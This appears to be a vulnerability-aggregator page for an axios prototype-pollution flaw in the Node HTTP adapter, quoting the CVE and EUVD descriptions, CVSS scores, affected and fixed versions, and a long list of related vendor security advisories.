Public mode

No access to your tenant or devices. Every item links to its source. What this means

Customize Public modeDiscuss ChangeIntel on Discord

axios before 0.33.0 Prototype Pollution via Node HTTP adapter

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-67320

Published

axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

Source published
1 Aug 2026 12:22:17 UTC
Source modified
3 Aug 2026 15:38:04 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-51847

Published

axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 1, 2026, 12:22:17 PM

dateUpdated: Aug 3, 2026, 3:38:04 PM

33 related source bulletins · separate from aliases

RHSA-2026:81110: Red Hat Security Advisory: Red Hat Quay 3.18.1

CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-49825 · CVE-2026-54058 · CVE-2026-54770 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59886 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321

RHSA-2026:63307: Red Hat Security Advisory: Red Hat Quay 3.15.8

CVE-2026-15927 · CVE-2026-18255 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-57231 · CVE-2026-59869 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:67714: Red Hat Security Advisory: RHACS 4.11.4 security and bug fix update

CVE-2026-33818 · CVE-2026-46600 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-56864 · CVE-2026-56865 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-75838 · CVE-2026-82417 · CVE-2026-84375

openSUSE-SU-2026:12070-1: velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media

CVE-2025-0914 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-17535 · CVE-2026-18348 · CVE-2026-18636 · CVE-2026-18638 · CVE-2026-18639 · CVE-2026-18860 · CVE-2026-27601 · CVE-2026-29074 · CVE-2026-41650 · CVE-2026-45623 · CVE-2026-49356 · CVE-2026-5329 · CVE-2026-53550 · CVE-2026-55602 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-6290 · CVE-2026-64951 · CVE-2026-64952 · CVE-2026-64954 · CVE-2026-65903 · CVE-2026-65912 · CVE-2026-65913 · CVE-2026-65914 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-6863 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-6948 · CVE-2026-73086 · CVE-2026-73646 · CVE-2026-73650 · CVE-2026-7572 · CVE-2026-7573 · CVE-2026-84369 · CVE-2026-84370

RHSA-2026:59583: Red Hat Security Advisory: Kiali 2.27.3 for Red Hat OpenShift Service Mesh 3.4

CVE-2026-14257 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:68681: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.8.17 update

CVE-2026-14257 · CVE-2026-16221 · CVE-2026-27145 · CVE-2026-33186 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73566 · CVE-2026-73643 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394

RHSA-2026:47619: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-42127 · CVE-2026-56764 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67320 · CVE-2026-67321

RHSA-2026:48241: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-67320 · CVE-2026-67321

RHSA-2026:68755: Red Hat Security Advisory: Technical preview of the satellite/iop-vulnerability-frontend-rhel9 container image

CVE-2026-12143 · CVE-2026-45623 · CVE-2026-45819 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172

RHSA-2026:59561: Red Hat Security Advisory: Kiali 2.11.16 for Red Hat OpenShift Service Mesh 3.1

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:59548: Red Hat Security Advisory: Kiali 2.4.22 for Red Hat OpenShift Service Mesh 3.0

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:66523: Red Hat Security Advisory: Red Hat Quay 3.12.22

CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:65126: Red Hat Security Advisory: RHOAI 2.25.11 - Red Hat OpenShift AI

CVE-2025-61729 · CVE-2025-67030 · CVE-2026-4926 · CVE-2026-6734 · CVE-2026-9563 · CVE-2026-9697 · CVE-2026-12151 · CVE-2026-12243 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15154 · CVE-2026-15378 · CVE-2026-15581 · CVE-2026-16745 · CVE-2026-18608 · CVE-2026-18611 · CVE-2026-18617 · CVE-2026-18620 · CVE-2026-18621 · CVE-2026-25681 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-27904 · CVE-2026-30922 · CVE-2026-32283 · CVE-2026-33231 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34445 · CVE-2026-35536 · CVE-2026-39821 · CVE-2026-39829 · CVE-2026-39835 · CVE-2026-40171 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41178 · CVE-2026-42027 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42338 · CVE-2026-42502 · CVE-2026-42508 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-44240 · CVE-2026-44244 · CVE-2026-44249 · CVE-2026-44431 · CVE-2026-44893 · CVE-2026-45112 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-45736 · CVE-2026-45819 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-48586 · CVE-2026-48779 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53550 · CVE-2026-54293 · CVE-2026-54512 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-55851 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59885 · CVE-2026-59899 · CVE-2026-66036 · CVE-2026-66039 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67324 · CVE-2026-67325 · CVE-2026-68494 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73566 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73643

RHSA-2026:92510: Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI

CVE-2023-54404 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-13717 · CVE-2026-16221 · CVE-2026-17106 · CVE-2026-18446 · CVE-2026-25681 · CVE-2026-26007 · CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-45819 · CVE-2026-45820 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57516 · CVE-2026-59951 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-67312 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69097 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73643 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844 · CVE-2026-77301 · CVE-2026-78679 · CVE-2026-82397 · CVE-2026-83663 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-85393 · CVE-2026-85525 · CVE-2026-87018 · CVE-2026-90711 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93690 · CVE-2026-93749 · CVE-2026-94637 · CVE-2026-96640 · CVE-2026-96643 · CVE-2026-96644 · CVE-2026-96778 · CVE-2026-96804 · CVE-2026-97687 · CVE-2026-97689 · CVE-2026-102267 · CVE-2026-102271 · CVE-2026-102272 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-102282 · CVE-2026-104150 · CVE-2026-104851 · CVE-2026-105922 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-109156 · CVE-2026-109383 · CVE-2026-109527 · CVE-2026-109829 · CVE-2026-109869 · CVE-2026-109956 · CVE-2026-110856 · CVE-2026-110857 · CVE-2026-110858 · CVE-2026-110859 · CVE-2026-111064 · CVE-2026-111066 · CVE-2026-111497 · CVE-2026-112390 · CVE-2026-112391 · CVE-2026-112392 · CVE-2026-112397 · CVE-2026-112399 · CVE-2026-112400 · CVE-2026-112402 · CVE-2026-112404 · CVE-2026-112405 · CVE-2026-112893 · CVE-2026-112894 · CVE-2026-112895 · CVE-2026-112896 · CVE-2026-112897 · CVE-2026-112940 · CVE-2026-114145

RHSA-2026:63373: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-frontend-rhel9 container image

CVE-2026-12143 · CVE-2026-45623 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

WID-SEC-W-2026-2923: Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen

CVE-2019-13990 · CVE-2021-44906 · CVE-2022-1471 · CVE-2022-23521 · CVE-2022-3517 · CVE-2022-41903 · CVE-2023-22518 · CVE-2023-22522 · CVE-2023-22523 · CVE-2023-22524 · CVE-2023-22527 · CVE-2023-45133 · CVE-2023-46604 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-2332 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-3505 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192

RHSA-2026:69255: Red Hat Security Advisory: Red Hat Quay 3.16.6

CVE-2026-13149 · CVE-2026-15792 · CVE-2026-15927 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-39822 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-54770 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57231 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59879 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-73086 · CVE-2026-75593 · CVE-2026-82417 · CVE-2026-84375

RHSA-2026:66084: Red Hat Security Advisory: Red Hat Quay 3.10.26

CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375

RHSA-2026:68765: Red Hat Security Advisory: Technical preview of the satellite/iop-vulnerability-frontend-rhel9 container image

CVE-2026-12143 · CVE-2026-45819 · CVE-2026-59879 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73646 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172

RHSA-2026:59554: Red Hat Security Advisory: Kiali 2.17.13 for Red Hat OpenShift Service Mesh 3.2

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:48758: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-27459 · CVE-2026-62995 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086

RHSA-2026:67711: Red Hat Security Advisory: RHACS 4.10.8 security and bug fix update

CVE-2026-33818 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-75838 · CVE-2026-82417 · CVE-2026-84375

RHSA-2026:68748: Red Hat Security Advisory: General availability of the satellite/iop-advisor-frontend-rhel9 container image

CVE-2026-12143 · CVE-2026-59869 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394

RHSA-2026:68754: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.1 Release.

CVE-2026-4800 · CVE-2026-45623 · CVE-2026-45819 · CVE-2026-47219 · CVE-2026-48801 · CVE-2026-54272 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59887 · CVE-2026-59899 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-71436 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73508 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-82562 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394

RHSA-2026:70267: Red Hat Security Advisory: Red Hat Quay 3.14.9

CVE-2026-4427 · CVE-2026-6322 · CVE-2026-9277 · CVE-2026-10143 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-15792 · CVE-2026-15927 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32591 · CVE-2026-33747 · CVE-2026-33748 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39822 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-42508 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44705 · CVE-2026-44990 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-48526 · CVE-2026-49477 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57231 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375

RHSA-2026:59566: Red Hat Security Advisory: Kiali 2.22.9 for Red Hat OpenShift Service Mesh 3.3

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

NCSC-2026-0325: Kwetsbaarheden verholpen in Atlassian producten

CVE-2021-44906 · CVE-2022-3517 · CVE-2023-45133 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-2332 · CVE-2026-3505 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192

RHSA-2026:63355: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-frontend-rhel9 container image

CVE-2026-12143 · CVE-2026-45623 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:65514: Red Hat Security Advisory: Red Hat Quay 3.9.26

CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:74511: Red Hat Security Advisory: Red Hat Quay 3.17.5

CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39822 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-49825 · CVE-2026-54770 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-84292 · CVE-2026-84394

RHSA-2026:61691: Red Hat Security Advisory: OpenShift Virtualization v4.12 Images

CVE-2026-67320

RHSA-2026:65118: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update

CVE-2026-5079 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73563 · CVE-2026-73566 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-84292 · CVE-2026-84394

RHSA-2026:90321: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.31.0 Release.

CVE-2023-54404 · CVE-2025-62718 · CVE-2026-8643 · CVE-2026-9496 · CVE-2026-12185 · CVE-2026-13697 · CVE-2026-14682 · CVE-2026-15076 · CVE-2026-16308 · CVE-2026-17106 · CVE-2026-18427 · CVE-2026-19203 · CVE-2026-19534 · CVE-2026-39820 · CVE-2026-41178 · CVE-2026-41707 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-45416 · CVE-2026-47884 · CVE-2026-47886 · CVE-2026-47888 · CVE-2026-47890 · CVE-2026-47892 · CVE-2026-50010 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-55851 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56852 · CVE-2026-56854 · CVE-2026-58062 · CVE-2026-59280 · CVE-2026-59282 · CVE-2026-59283 · CVE-2026-59296 · CVE-2026-59313 · CVE-2026-59323 · CVE-2026-59651 · CVE-2026-59887 · CVE-2026-59899 · CVE-2026-59901 · CVE-2026-62243 · CVE-2026-64607 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-71290 · CVE-2026-71324 · CVE-2026-71325 · CVE-2026-71327 · CVE-2026-73500 · CVE-2026-73508 · CVE-2026-74835 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-76169 · CVE-2026-81521 · CVE-2026-82417 · CVE-2026-82562 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84961 · CVE-2026-85062 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85595 · CVE-2026-85597 · CVE-2026-86063 · CVE-2026-87743 · CVE-2026-88004 · CVE-2026-88007 · CVE-2026-88008 · CVE-2026-88009 · CVE-2026-88011 · CVE-2026-88012 · CVE-2026-88031 · CVE-2026-88878 · CVE-2026-88879 · CVE-2026-90711 · CVE-2026-93749 · CVE-2026-100655 · CVE-2026-100656 · CVE-2026-100666 · CVE-2026-101916 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-103435 · CVE-2026-109618 · CVE-2026-109619

Source published
Aug 1, 2026, 12:22:17 PM (timezone not stated)
Source modified
Aug 3, 2026, 3:38:04 PM (timezone not stated)
Saved here
13 Nov 2026 16:08:14 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-67320

Published

